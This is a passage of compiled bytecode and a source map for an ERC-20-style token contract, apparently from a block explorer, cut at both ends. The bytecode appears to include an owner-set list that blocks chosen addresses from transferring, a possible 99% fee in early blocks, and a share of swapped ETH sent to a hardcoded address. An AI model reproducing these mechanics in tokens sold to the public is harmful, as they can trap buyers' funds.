26004016104d490611722565b600580546001600160a01b039092166001600160a01b0319909216821790556000908152600360205260409020805460ff19166001179055565b600061067a848484610bfa565b6106cc84336106c78560405180606001604052806028815260200161197d602891396001600160a01b038a166000908152600260209081526040808320338452909152902054919061111e565b610ad6565b5060019392505050565b6000546001600160a01b031633146107005760405162461bcd60e51b81526004016104d490611722565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146107745760405162461bcd60e51b81526004016104d490611722565b6107806012600a611851565b61078e90633b9aca00611860565b600a90815561079f90601290611851565b6107ad90633b9aca00611860565b600b55604051600181527f97349b872222986eb84ae5a80d8908f03ad1daf9e73bdae7d35a48264fdb293e9060200160405180910390a1565b6000546001600160a01b031633146108105760405162461bcd60e51b81526004016104d490611722565b80158061082b57503060009081526001602052604090205481115b156108425750306000908152600160205260409020545b61085e306108586000546001600160a01b031690565b83610bfa565b50565b60006104a0338484610bfa565b6000546001600160a01b031633146108985760405162461bcd60e51b81526004016104d490611722565b60005b8151811015610900576000600460008484815181106108bc576108bc611877565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806108f88161188d565b91505061089b565b5050565b6000546001600160a01b0316331461092e5760405162461bcd60e51b81526004016104d490611722565b61093747611158565b565b6000546001600160a01b031633146109635760405162461bcd60e51b81526004016104d490611722565b60005b815181101561090057600d5482516001600160a01b039091169083908390811061099257610992611877565b60200260200101516001600160a01b0316141580156109e35750600e5482516001600160a01b03909116908390839081106109cf576109cf611877565b60200260200101516001600160a01b031614155b15610a4057600160046000848481518110610a0057610a00611877565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610a4a8161188d565b915050610966565b6000546001600160a01b03163314610a7c5760405162461bcd60e51b81526004016104d490611722565b30600090815260016020526040902054600c5461085e908211610a9f5781611192565b600c54611192565b6000546001600160a01b03163314610ad15760405162461bcd60e51b81526004016104d490611722565b600755565b6001600160a01b038316610b385760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104d4565b6001600160a01b038216610b995760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104d4565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c5e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104d4565b6001600160a01b038216610cc05760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104d4565b60008111610d225760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104d4565b600080546001600160a01b03858116911614801590610d4f57506000546001600160a01b03848116911614155b15610fdb576001600160a01b03841660009081526004602052604090205460ff16158015610d9657506001600160a01b03831660009081526004602052604090205460ff16155b610d9f57600080fd5b60115460ff16610dcc57610dc96064610dc36007548561135e90919063ffffffff16565b906113e7565b90505b43601054600f54610ddd91906118a6565b118015610df85750600e54600160a01b900460ff1615156001145b15610e1057610e0d6064610dc384606361135e565b90505b600e546001600160a01b038581169116148015610e3b5750600d546001600160a01b03848116911614155b8015610e6057506001600160a01b03831660009081526003602052604090205460ff16155b15610f4857600a54821115610eb75760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104d4565b600b5482610eda856001600160a01b031660009081526001602052604090205490565b610ee491906118a6565b1115610f325760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104d4565b60098054906000610f428361188d565b91905055505b3060009081526001602052604090205460115460ff16158015610f795750600e546001600160a01b03868116911614155b8015610f8c5750601154610100900460ff165b8015610f995750600c5481115b8015610fa85750600854600954115b15610fd957610fc783600c5411610fc157600c54611192565b83611192565b478015610fd757610fd747611158565b505b505b6001600160a01b038416600090815260016020526040902054610ffe9083611429565b6001600160a01b0385166000908152600160205260409020556110436110248383611429565b6001600160a01b0385166000908152600160205260409020549061146b565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61108d8585611429565b60405190815260200160405180910390a3801561111857306000908152600160205260409020546110be908261146b565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061110f9085815260200190565b60405180910390a35b50505050565b600081848411156111425760405162461bcd60e51b81526004016104d491906114f8565b50600061114f84866118b9565b95945050505050565b6005546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610900573d6000803e3d6000fd5b6011805460ff1916600117905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111d4576111d4611877565b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561122d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061125191906118cc565b8160018151811061126457611264611877565b6001600160a01b039283166020918202929092010152600d5461128a9130911684610ad6565b600d5460405163791ac94760e01b81526001600160a01b039091169063791ac947906112c39085906000908690309042906004016118e9565b600060405180830381600087803b1580156112dd57600080fd5b505af11580156112f1573d6000803e3d6000fd5b50505050611310739f0eaf5e275ce831e80a6dbe6f4728f348fb980d90565b6001600160a01b03166108fc61132760034761195a565b6040518115909202916000818181858888f1935050505015801561134f573d6000803e3d6000fd5b50506011805460ff1916905550565b600082600003611370575060006104a4565b600061137c8385611860565b905082611389858361195a565b146113e05760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104d4565b9392505050565b60006113e083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114ca565b60006113e083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061111e565b60008061147883856118a6565b9050838110156113e05760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104d4565b600081836114eb5760405162461bcd60e51b81526004016104d491906114f8565b50600061114f848661195a565b600060208083528351808285015260005b8181101561152557858101830151858201604001528201611509565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461085e57600080fd5b803561156681611546565b919050565b6000806040838503121561157e57600080fd5b823561158981611546565b946020939093013593505050565b6000602082840312156115a957600080fd5b5035919050565b6000602082840312156115c257600080fd5b81356113e081611546565b6000806000606084860312156115e257600080fd5b83356115ed81611546565b925060208401356115fd81611546565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561163757600080fd5b823567ffffffffffffffff8082111561164f57600080fd5b818501915085601f83011261166357600080fd5b8135818111156116755761167561160e565b8060051b604051601f19603f8301168101818110858211171561169a5761169a61160e565b6040529182528482019250838101850191888311156116b857600080fd5b938501935b828510156116dd576116ce8561155b565b845293850193928501926116bd565b98975050505050505050565b600080604083850312156116fc57600080fd5b823561170781611546565b9150602083013561171781611546565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156117a857816000190482111561178e5761178e611757565b8085161561179b57918102915b93841c9390800290611772565b509250929050565b6000826117bf575060016104a4565b816117cc575060006104a4565b81600181146117e257600281146117ec57611808565b60019150506104a4565b60ff8411156117fd576117fd611757565b50506001821b6104a4565b5060208310610133831016604e8410600b841016171561182b575081810a6104a4565b611835838361176d565b806000190482111561184957611849611757565b029392505050565b60006113e060ff8416836117b0565b80820281158282048414176104a4576104a4611757565b634e487b7160e01b600052603260045260246000fd5b60006001820161189f5761189f611757565b5060010190565b808201808211156104a4576104a4611757565b818103818111156104a4576104a4611757565b6000602082840312156118de57600080fd5b81516113e081611546565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119395784516001600160a01b031683529383019391830191600101611914565b50506001600160a01b03969096166060850152505050608001529392505050565b60008261197757634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220530a2117990266801c1c381bc26e77565251ea05fe8fe918526fd729c06fbac064736f6c63430008110033
Deployed Bytecode Sourcemap
3723:8106:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5669:83;;;;;;;;;;-1:-1:-1;5739:5:0;;;;;;;;;;;;-1:-1:-1;;;5739:5:0;;;;5669:83;;;;;;;:::i;:::-;;;;;;;;6502:161;;;;;;;;;;-1:-1:-1;6502:161:0;;;;;:::i;:::-;;:::i;:::-;;;1327:14:1;;1320:22;1302:41;;1290:2;1275:18;6502:161:0;1162:187:1;11662:164:0;;;;;;;;;;-1:-1:-1;11662:164:0;;;;;:::i;:::-;;:::i;:::-;;5946:95;;;;;;;;;;;;;:::i;:::-;;;1685:25:1;;;1673:2;1658:18;5946:95:0;1539:177:1;10578:222:0;;;;;;;;;;;;;:::i;11505:151::-;;;;;;;;;;-1:-1:-1;11505:151:0;;;;;:::i;:::-;;:::i;6671:313::-;;;;;;;;;;-1:-1:-1;6671:313:0;;;;;:::i;:::-;;:::i;5855:83::-;;;;;;;;;;-1:-1:-1;5855:83:0;;4320:2;2576:36:1;;2564:2;2549:18;5855:83:0;2434:184:1;4618:43:0;;;;;;;;;;;;;;;;6049:119;;;;;;;;;;-1:-1:-1;6049:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6142:18:0;6115:7;6142:18;;;:9;:18;;;;;;;6049:119;2804:148;;;;;;;;;;;;;:::i;9770:158::-;;;;;;;;;;;;;:::i;4508:47::-;;;;;;;;;;;;;;;;11256:243;;;;;;;;;;-1:-1:-1;11256:243:0;;;;;:::i;:::-;;:::i;2590:79::-;;;;;;;;;;-1:-1:-1;2628:7:0;2655:6;2590:79;;-1:-1:-1;;;;;2655:6:0;;;2769:51:1;;2757:2;2742:18;2590:79:0;2623:203:1;4562:49:0;;;;;;;;;;;;;;;;5760:87;;;;;;;;;;-1:-1:-1;5832:7:0;;;;;;;;;;;;-1:-1:-1;;;5832:7:0;;;;5760:87;;6176:167;;;;;;;;;;-1:-1:-1;6176:167:0;;;;;:::i;:::-;;:::i;10398:172::-;;;;;;;;;;-1:-1:-1;10398:172:0;;;;;:::i;:::-;;:::i;11152:98::-;;;;;;;;;;;;;:::i;6351:143::-;;;;;;;;;;-1:-1:-1;6351:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6459:18:0;;;6432:7;6459:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6351:143;10050:340;;;;;;;;;;-1:-1:-1;10050:340:0;;;;;:::i;:::-;;:::i;10906:240::-;;;;;;;;;;;;;:::i;10808:92::-;;;;;;;;;;-1:-1:-1;10808:92:0;;;;;:::i;:::-;;:::i;6502:161::-;6577:4;6594:39;292:10;6617:7;6626:6;6594:8;:39::i;:::-;-1:-1:-1;6651:4:0;6502:161;;;;;:::o;11662:164::-;2717:6;;-1:-1:-1;;;;;2717:6:0;292:10;2717:22;2709:67;;;;-1:-1:-1;;;2709:67:0;;;;;;;:::i;:::-;;;;;;;;;11738:14:::1;::::0;-1:-1:-1;;;11738:14:0;::::1;;;:21;11730:56;;;::::0;-1:-1:-1;;;11730:56:0;;5045:2:1;11730:56:0::1;::::0;::::1;5027:21:1::0;5084:2;5064:18;;;5057:30;5123:25;5103:18;;;5096:53;5166:18;;11730:56:0::1;4843:347:1::0;11730:56:0::1;11797:18;:21:::0;11662:164::o;5946:95::-;5999:7;4370:13;4320:2;4370;:13;:::i;:::-;4364:19;;:3;:19;:::i;:::-;6019:14;;5946:95;:::o;10578:222::-;2717:6;;-1:-1:-1;;;;;2717:6:0;292:10;2717:22;2709:67;;;;-1:-1:-1;;;2709:67:0;;;;;;;:::i;:::-;10644:14:::1;::::0;-1:-1:-1;;;10644:14:0;::::1;;;10643:15;10635:50;;;::::0;-1:-1:-1;;;10635:50:0;;7085:2:1;10635:50:0::1;::::0;::::1;7067:21:1::0;7124:2;7104:18;;;7097:30;7163:25;7143:18;;;7136:53;7206:18;;10635:50:0::1;6883:347:1::0;10635:50:0::1;10719:12;10704;:27:::0;10742:14:::1;:21:::0;;-1:-1:-1;;;;10742:21:0::1;-1:-1:-1::0;;;10742:21:0::1;::::0;;10774:11:::1;:18:::0;;-1:-1:-1;;10774:18:0::1;10742:21;10774:18;::::0;;10578:222::o;11505:151::-;2717:6;;-1:-1:-1;;;;;2717:6:0;292:10;2717:22;2709:67;;;;-1:-1:-1;;;2709:67:0;;;;;;;:::i;:::-;11580:11:::1;:21:::0;;-1:-1:-1;;;;;11580:21:0;;::::1;-1:-1:-1::0;;;;;;11580:21:0;;::::1;::::0;::::1;::::0;;:11:::1;11612:29:::0;;;:18:::1;:29;::::0;;;;:36;;-1:-1:-1;;11612:36:0::1;11580:21:::0;11612:36:::1;::::0;;11505:151::o;6671:313::-;6769:4;6786:36;6796:6;6804:9;6815:6;6786:9;:36::i;:::-;6833:121;6842:6;292:10;6864:89;6902:6;6864:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6864:19:0;;;;;;:11;:19;;;;;;;;292:10;6864:33;;;;;;;;;;:37;:89::i;:::-;6833:8;:121::i;:::-;-1:-1:-1;6972:4:0;6671:313;;;;;:::o;2804:148::-;2717:6;;-1:-1:-1;;;;;2717:6:0;292:10;2717:22;2709:67;;;;-1:-1:-1;;;2709:67:0;;;;;;;:::i;:::-;2911:1:::1;2895:6:::0;;2874:40:::1;::::0;-1:-1:-1;;;;;2895:6:0;;::::1;::::0;2874:40:::1;::::0;2911:1;;2874:40:::1;2942:1;2925:19:::0;;-1:-1:-1;;;;;;2925:19:0::1;::::0;;2804:148::o;9770:158::-;2717:6;;-1:-1:-1;;;;;2717:6:0;292:10;2717:22;2709:67;;;;-1:-1:-1;;;2709:67:0;;;;;;;:::i;:::-;4370:13:::1;4320:2;4370;:13;:::i;:::-;4364:19;::::0;:3:::1;:19;:::i;:::-;9823:12;:22:::0;;;4370:13:::1;::::0;4320:2:::1;::::0;4370:13:::1;:::i;:::-;4364:19;::::0;:3:::1;:19;:::i;:::-;9856:14;:22:::0;9894:26:::1;::::0;9915:4:::1;1302:41:1::0;;9894:26:0::1;::::0;1290:2:1;1275:18;9894:26:0::1;;;;;;;9770:158::o:0;11256:243::-;2717:6;;-1:-1:-1;;;;;2717:6:0;292:10;2717:22;2709:67;;;;-1:-1:-1;;;2709:67:0;;;;;;;:::i;:::-;11325:11;;;:48:::1;;-1:-1:-1::0;11367:4:0::1;6115:7:::0;6142:18;;;:9;:18;;;;;;11340:6:::1;:33;11325:48;11321:114;;;-1:-1:-1::0;11417:4:0::1;6115:7:::0;6142:18;;;:9;:18;;;;;;11321:114:::1;11445:39;11463:4;11469:7;2628::::0;2655:6;-1:-1:-1;;;;;2655:6:0;;2590:79;11469:7:::1;11477:6;11445:9;:39::i;:::-;11256:243:::0;:::o;6176:167::-;6254:4;6271:42;292:10;6295:9;6306:6;6271:9;:42::i;10398:172::-;2717:6;;-1:-1:-1;;;;;2717:6:0;292:10;2717:22;2709:67;;;;-1:-1:-1;;;2709:67:0;;;;;;;:::i;:::-;10475:6:::1;10470:93;10491:5;:12;10487:1;:16;10470:93;;;10548:5;10523:12;:22;10536:5;10542:1;10536:8;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;10523:22:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;10523:22:0;:30;;-1:-1:-1;;10523:30:0::1;::::0;::::1;;::::0;;;::::1;::::0;;10505:3;::::1;::::0;::::1;:::i;:::-;;;;10470:93;;;;10398:172:::0;:::o;11152:98::-;2717:6;;-1:-1:-1;;;;;2717:6:0;292:10;2717:22;2709:67;;;;-1:-1:-1;;;2709:67:0;;;;;;;:::i;:::-;11203:39:::1;11220:21;11203:16;:39::i;:::-;11152:98::o:0;10050:340::-;2717:6;;-1:-1:-1;;;;;2717:6:0;292:10;2717:22;2709:67;;;;-1:-1:-1;;;2709:67:0;;;;;;;:::i;:::-;10127:6:::1;10122:261;10143:5;:12;10139:1;:16;10122:261;;;10239:15;::::0;10219:8;;-1:-1:-1;;;;;10239:15:0;;::::1;::::0;10219:5;;10225:1;;10219:8;::::1;;;;;:::i;:::-;;;;;;;-1:-1:-1::0;;;;;10219:36:0::1;;;:74;;;;-1:-1:-1::0;10279:13:0::1;::::0;10259:8;;-1:-1:-1;;;;;10279:13:0;;::::1;::::0;10259:5;;10265:1;;10259:8;::::1;;;;;:::i;:::-;;;;;;;-1:-1:-1::0;;;;;10259:34:0::1;;;10219:74;10216:142;;;10338:4;10313:12;:22;10326:5;10332:1;10326:8;;;;;;;;:::i;:::-;;;;;;;-1:-1:-1::0;;;;;10313:22:0::1;-1:-1:-1::0;;;;;10313:22:0::1;;;;;;;;;;;;;:29;;;;;;;;;;;;;;;;;;10216:142;10157:3:::0;::::1;::::0;::::1;:::i;:::-;;;;10122:261;;10906:240:::0;2717:6;;-1:-1:-1;;;;;2717:6:0;292:10;2717:22;2709:67;;;;-1:-1:-1;;;2709:67:0;;;;;;;:::i;:::-;11054:4:::1;11010:23;6142:18:::0;;;:9;:18;;;;;;11104:8:::1;::::0;11071:67:::1;::::0;11088:24;::::1;:49;;11122:15;11071:16;:67::i;11088:49::-;11113:8;;11071:16;:67::i;10808:92::-:0;2717:6;;-1:-1:-1;;;;;2717:6:0;292:10;2717:22;2709:67;;;;-1:-1:-1;;;2709:67:0;;;;;;;:::i;:::-;10873:10:::1;:19:::0;10808:92::o;6992:335::-;-1:-1:-1;;;;;7085:19:0;;7077:68;;;;-1:-1:-1;;;7077:68:0;;7709:2:1;7077:68:0;;;7691:21:1;7748:2;7728:18;;;7721:30;7787:34;7767:18;;;7760:62;-1:-1:-1;;;7838:18:1;;;7831:34;7882:19;;7077:68:0;7507:400:1;7077:68:0;-1:-1:-1;;;;;7164:21:0;;7156:68;;;;-1:-1:-1;;;7156:68:0;;8114:2:1;7156:68:0;;;8096:21:1;8153:2;8133:18;;;8126:30;8192:34;8172:18;;;8165:62;-1:-1:-1;;;8243:18:1;;;8236:32;8285:19;;7156:68:0;7912:398:1;7156:68:0;-1:-1:-1;;;;;7235:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7287:32;;1685:25:1;;;7287:32:0;;1658:18:1;7287:32:0;;;;;;;6992:335;;;:::o;7335:1847::-;-1:-1:-1;;;;;7423:18:0;;7415:68;;;;-1:-1:-1;;;7415:68:0;;8517:2:1;7415:68:0;;;8499:21:1;8556:2;8536:18;;;8529:30;8595:34;8575:18;;;8568:62;-1:-1:-1;;;8646:18:1;;;8639:35;8691:19;;7415:68:0;8315:401:1;7415:68:0;-1:-1:-1;;;;;7502:16:0;;7494:64;;;;-1:-1:-1;;;7494:64:0;;8923:2:1;7494:64:0;;;8905:21:1;8962:2;8942:18;;;8935:30;9001:34;8981:18;;;8974:62;-1:-1:-1;;;9052:18:1;;;9045:33;9095:19;;7494:64:0;8721:399:1;7494:64:0;7586:1;7577:6;:10;7569:64;;;;-1:-1:-1;;;7569:64:0;;9327:2:1;7569:64:0;;;9309:21:1;9366:2;9346:18;;;9339:30;9405:34;9385:18;;;9378:62;-1:-1:-1;;;9456:18:1;;;9449:39;9505:19;;7569:64:0;9125:405:1;7569:64:0;7654:13;2655:6;;-1:-1:-1;;;;;7684:15:0;;;2655:6;;7684:15;;;;:32;;-1:-1:-1;2628:7:0;2655:6;-1:-1:-1;;;;;7703:13:0;;;2655:6;;7703:13;;7684:32;7680:1166;;;-1:-1:-1;;;;;7742:18:0;;;;;;:12;:18;;;;;;;;7741:19;:40;;;;-1:-1:-1;;;;;;7765:16:0;;;;;;:12;:16;;;;;;;;7764:17;7741:40;7733:49;;;;;;7801:8;;;;7797:85;;7835:31;7862:3;7835:22;7846:10;;7835:6;:10;;:22;;;;:::i;:::-;:26;;:31::i;:::-;7827:39;;7797:85;7935:12;7914:18;;7899:12;;:33;;;;:::i;:::-;:48;:72;;;;-1:-1:-1;7951:14:0;;-1:-1:-1;;;7951:14:0;;;;:20;;7967:4;7951:20;7899:72;7896:142;;;7999:23;8018:3;7999:14;:6;8010:2;7999:10;:14::i;:23::-;7991:31;;7896:142;8064:13;;-1:-1:-1;;;;;8056:21:0;;;8064:13;;8056:21;:55;;;;-1:-1:-1;8095:15:0;;-1:-1:-1;;;;;8081:30:0;;;8095:15;;8081:30;;8056:55;:83;;;;-1:-1:-1;;;;;;8117:22:0;;;;;;:18;:22;;;;;;;;8115:24;8056:83;8052:309;;;8179:12;;8169:6;:22;;8161:60;;;;-1:-1:-1;;;8161:60:0;;9867:2:1;8161:60:0;;;9849:21:1;9906:2;9886:18;;;9879:30;9945:27;9925:18;;;9918:55;9990:18;;8161:60:0;9665:349:1;8161:60:0;8274:14;;8264:6;8248:13;8258:2;-1:-1:-1;;;;;6142:18:0;6115:7;6142:18;;;:9;:18;;;;;;;6049:119;8248:13;:22;;;;:::i;:::-;:40;;8240:79;;;;-1:-1:-1;;;8240:79:0;;10221:2:1;8240:79:0;;;10203:21:1;10260:2;10240:18;;;10233:30;10299:28;10279:18;;;10272:56;10345:18;;8240:79:0;10019:350:1;8240:79:0;8338:5;:7;;;:5;:7;;;:::i;:::-;;;;;;8052:309;8426:4;8377:28;6142:18;;;:9;:18;;;;;;8452:8;;;;8451:9;:34;;;;-1:-1:-1;8472:13:0;;-1:-1:-1;;;;;8464:21:0;;;8472:13;;8464:21;;8451:34;:49;;;;-1:-1:-1;8489:11:0;;;;;;;8451:49;:82;;;;;8525:8;;8504:20;:29;8451:82;:102;;;;;8543:10;;8537:5;;:16;8451:102;8447:388;;;8574:49;8600:6;8591:8;;:15;:31;;8614:8;;11071:16:::1;:67::i;8591:31::-:0;8607:6;8574:16;:49::i;:::-;8671:21;8714:22;;8711:109;;8761:39;8778:21;8761:16;:39::i;:::-;8555:280;8447:388;7718:1128;7680:1166;-1:-1:-1;;;;;8874:15:0;;;;;;:9;:15;;;;;;:27;;8894:6;8874:19;:27::i;:::-;-1:-1:-1;;;;;8858:15:0;;;;;;:9;:15;;;;;:43;8926:36;8944:17;:6;8955:5;8944:10;:17::i;:::-;-1:-1:-1;;;;;8926:13:0;;;;;;:9;:13;;;;;;;:17;:36::i;:::-;-1:-1:-1;;;;;8912:13:0;;;;;;;:9;:13;;;;;:50;;;;8978:37;;;8997:17;:6;9008:5;8997:10;:17::i;:::-;8978:37;;1685:25:1;;;1673:2;1658:18;8978:37:0;;;;;;;9029:7;;9026:149;;9093:4;9075:24;;;;:9;:24;;;;;;:35;;9104:5;9075:28;:35::i;:::-;9068:4;9050:24;;;;:9;:24;;;;;;;:60;;;;9128:35;;-1:-1:-1;;;;;9128:35:0;;;;;;;9157:5;1685:25:1;;1673:2;1658:18;;1539:177;9128:35:0;;;;;;;;9026:149;7404:1778;7335:1847;;;:::o;1355:190::-;1441:7;1477:12;1469:6;;;;1461:29;;;;-1:-1:-1;;;1461:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1501:9:0;1513:5;1517:1;1513;:5;:::i;:::-;1501:17;1355:190;-1:-1:-1;;;;;1355:190:0:o;9936:106::-;10005:11;;9997:37;;-1:-1:-1;;;;;10005:11:0;;;;9997:37;;;;;10027:6;;10005:11;9997:37;10005:11;9997:37;10027:6;10005:11;9997:37;;;;;;;;;;;;;;;;;;;9190:572;5016:8;:15;;-1:-1:-1;;5016:15:0;5027:4;5016:15;;;9289:16:::1;::::0;;9303:1:::1;9289:16:::0;;;;;::::1;::::0;;-1:-1:-1;;9289:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;9289:16:0::1;9265:40;;9344:4;9326;9331:1;9326:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9326:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;9377:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;9377:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;9326:7;;9377:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9367:4;9372:1;9367:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9367:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;9448:15:::1;::::0;9416:62:::1;::::0;9433:4:::1;::::0;9448:15:::1;9466:11:::0;9416:8:::1;:62::i;:::-;9513:15;::::0;:116:::1;::::0;-1:-1:-1;;;9513:116:0;;-1:-1:-1;;;;;9513:15:0;;::::1;::::0;:66:::1;::::0;:116:::1;::::0;9580:11;;9513:15:::1;::::0;9594:4;;9607::::1;::::0;9613:15:::1;::::0;9513:116:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;9677:15;2207:48:::0;;2142:121;9677:15:::1;-1:-1:-1::0;;;;;9653:51:0::1;:76;9705:23;9727:1;9705:21;:23;:::i;:::-;9653:76;::::0;;::::1;::::0;;::::1;::::0;::::1;::::0;;;;;;::::1;;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5054:8:0;:16;;-1:-1:-1;;5054:16:0;;;-1:-1:-1;9190:572:0:o;1553:246::-;1611:7;1635:1;1640;1635:6;1631:47;;-1:-1:-1;1665:1:0;1658:8;;1631:47;1688:9;1700:5;1704:1;1700;:5;:::i;:::-;1688:17;-1:-1:-1;1733:1:0;1724:5;1728:1;1688:17;1724:5;:::i;:::-;:10;1716:56;;;;-1:-1:-1;;;1716:56:0;;12172:2:1;1716:56:0;;;12154:21:1;12211:2;12191:18;;;12184:30;12250:34;12230:18;;;12223:62;-1:-1:-1;;;12301:18:1;;;12294:31;12342:19;;1716:56:0;11970:397:1;1716:56:0;1790:1;1553:246;-1:-1:-1;;;1553:246:0:o;1807:132::-;1865:7;1892:39;1896:1;1899;1892:39;;;;;;;;;;;;;;;;;:3;:39::i;1211:136::-;1269:7;1296:43;1300:1;1303;1296:43;;;;;;;;;;;;;;;;;:3;:43::i;1024:179::-;1082:7;;1114:5;1118:1;1114;:5;:::i;:::-;1102:17;;1143:1;1138;:6;;1130:46;;;;-1:-1:-1;;;1130:46:0;;12574:2:1;1130:46:0;;;12556:21:1;12613:2;12593:18;;;12586:30;12652:29;12632:18;;;12625:57;12699:18;;1130:46:0;12372:351:1;1947:189:0;2033:7;2068:12;2061:5;2053:28;;;;-1:-1:-1;;;2053:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2092:9:0;2104:5;2108:1;2104;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:134;771:20;;800:31;771:20;800:31;:::i;:::-;703:134;;;:::o;842:315::-;910:6;918;971:2;959:9;950:7;946:23;942:32;939:52;;;987:1;984;977:12;939:52;1026:9;1013:23;1045:31;1070:5;1045:31;:::i;:::-;1095:5;1147:2;1132:18;;;;1119:32;;-1:-1:-1;;;842:315:1:o;1354:180::-;1413:6;1466:2;1454:9;1445:7;1441:23;1437:32;1434:52;;;1482:1;1479;1472:12;1434:52;-1:-1:-1;1505:23:1;;1354:180;-1:-1:-1;1354:180:1:o;1721:247::-;1780:6;1833:2;1821:9;1812:7;1808:23;1804:32;1801:52;;;1849:1;1846;1839:12;1801:52;1888:9;1875:23;1907:31;1932:5;1907:31;:::i;1973:456::-;2050:6;2058;2066;2119:2;2107:9;2098:7;2094:23;2090:32;2087:52;;;2135:1;2132;2125:12;2087:52;2174:9;2161:23;2193:31;2218:5;2193:31;:::i;:::-;2243:5;-1:-1:-1;2300:2:1;2285:18;;2272:32;2313:33;2272:32;2313:33;:::i;:::-;1973:456;;2365:7;;-1:-1:-1;;;2419:2:1;2404:18;;;;2391:32;;1973:456::o;2831:127::-;2892:10;2887:3;2883:20;2880:1;2873:31;2923:4;2920:1;2913:15;2947:4;2944:1;2937:15;2963:1121;3047:6;3078:2;3121;3109:9;3100:7;3096:23;3092:32;3089:52;;;3137:1;3134;3127:12;3089:52;3177:9;3164:23;3206:18;3247:2;3239:6;3236:14;3233:34;;;3263:1;3260;3253:12;3233:34;3301:6;3290:9;3286:22;3276:32;;3346:7;3339:4;3335:2;3331:13;3327:27;3317:55;;3368:1;3365;3358:12;3317:55;3404:2;3391:16;3426:2;3422;3419:10;3416:36;;;3432:18;;:::i;:::-;3478:2;3475:1;3471:10;3510:2;3504:9;3573:2;3569:7;3564:2;3560;3556:11;3552:25;3544: